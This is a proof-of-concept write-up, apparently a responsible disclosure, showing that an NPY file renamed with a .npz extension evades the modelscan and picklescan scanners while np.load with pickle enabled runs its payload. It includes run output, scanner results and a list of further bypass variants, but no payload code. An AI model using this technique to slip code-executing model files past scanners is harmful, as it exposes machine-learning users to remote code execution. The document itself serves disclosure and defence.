NPY/NPZ Scanner Bypass PoC
Security Research - Responsible Disclosure via huntr
Vulnerability
NPY file with .npz extension bypasses both modelscan v0.8.8 and picklescan v1.0.3. Scanners check file extension to determine format; np.load() checks magic bytes.
Results
| Scanner | Result |
|---|---|
| modelscan | BYPASSED - "No issues found" |
| picklescan | BYPASSED - crashes on NPY header |
| np.load(allow_pickle=True) | RCE - payload executes |
Reproduction
Requirement already satisfied: numpy in /Users/rez0/miniforge3/lib/python3.10/site-packages (2.2.6) Requirement already satisfied: modelscan in /Users/rez0/miniforge3/lib/python3.10/site-packages (0.8.8) Requirement already satisfied: picklescan in /Users/rez0/miniforge3/lib/python3.10/site-packages (1.0.3) Requirement already satisfied: click<9.0.0,>=8.1.3 in /Users/rez0/miniforge3/lib/python3.10/site-packages (from modelscan) (8.2.1) Requirement already satisfied: rich<15.0.0,>=13.4.2 in /Users/rez0/miniforge3/lib/python3.10/site-packages (from modelscan) (14.2.0) Requirement already satisfied: tomlkit<0.14.0,>=0.12.3 in /Users/rez0/miniforge3/lib/python3.10/site-packages (from modelscan) (0.13.3) Requirement already satisfied: markdown-it-py>=2.2.0 in /Users/rez0/miniforge3/lib/python3.10/site-packages (from rich<15.0.0,>=13.4.2->modelscan) (3.0.0) Requirement already satisfied: pygments<3.0.0,>=2.13.0 in /Users/rez0/miniforge3/lib/python3.10/site-packages (from rich<15.0.0,>=13.4.2->modelscan) (2.17.2) Requirement already satisfied: mdurl~=0.1 in /Users/rez0/miniforge3/lib/python3.10/site-packages (from markdown-it-py>=2.2.0->rich<15.0.0,>=13.4.2->modelscan) (0.1.2) [SUCCESS] Arbitrary code execution achieved via numpy model file Marker file created: /tmp/numpy_rce_proof
====================================================================== NPY/NPZ Model File Scanner Bypass - PoC Demonstration
[*] Checking prerequisites... NumPy version: 2.2.6 modelscan: installed picklescan: installed
====================================================================== Step 1: Examine the malicious file
File: /Users/rez0/targets/model-format-differentials/npz-poc/poc/final/poc1_npy_as_npz.npz
Size: 455 bytes
Magic bytes: b'NUMPY'
Is NPY format: True
Has .npz extension: True
Key insight: The file IS an NPY (numpy binary array) but has
a .npz extension. Scanners check extension; np.load checks magic bytes.
====================================================================== Step 2: Run security scanners
[*] Running modelscan... Exit code: 3 Result: 'No issues found' Malware detected: NO -- BYPASSED
[*] Running picklescan... Exit code: 2 Result: CRASHED - Malware detected: NO -- BYPASSED
====================================================================== Step 3: Load the file with np.load() (triggers code execution)
[] Executing: np.load('poc1_npy_as_npz.npz', allow_pickle=True) [] Payload output below:
[] Array loaded: dtype=object, shape=(1,) [] Arbitrary code execution confirmed.
====================================================================== Summary
The file poc1_npy_as_npz.npz:
- Has .npz extension (looks like a numpy archive)
- Is actually an NPY file with object dtype (contains pickle payload)
- modelscan: BYPASSED (skips the file, reports 'No issues found')
- picklescan: BYPASSED (crashes trying to parse as pickle)
- np.load(): Detects NPY format by magic bytes, loads and executes payload
This demonstrates a parser differential between security scanners (which rely on file extension) and np.load() (which uses magic bytes).
Additional PoCs in this directory: poc2_*.npz - Extension bypass inside NPZ archive (modelscan only) poc3_*.npz - Nested NPZ bypass (both scanners) poc4_*.npz - Combined extension + crash bypass (both scanners)
Note: Requires allow_pickle=True (not default since NumPy 1.16.3)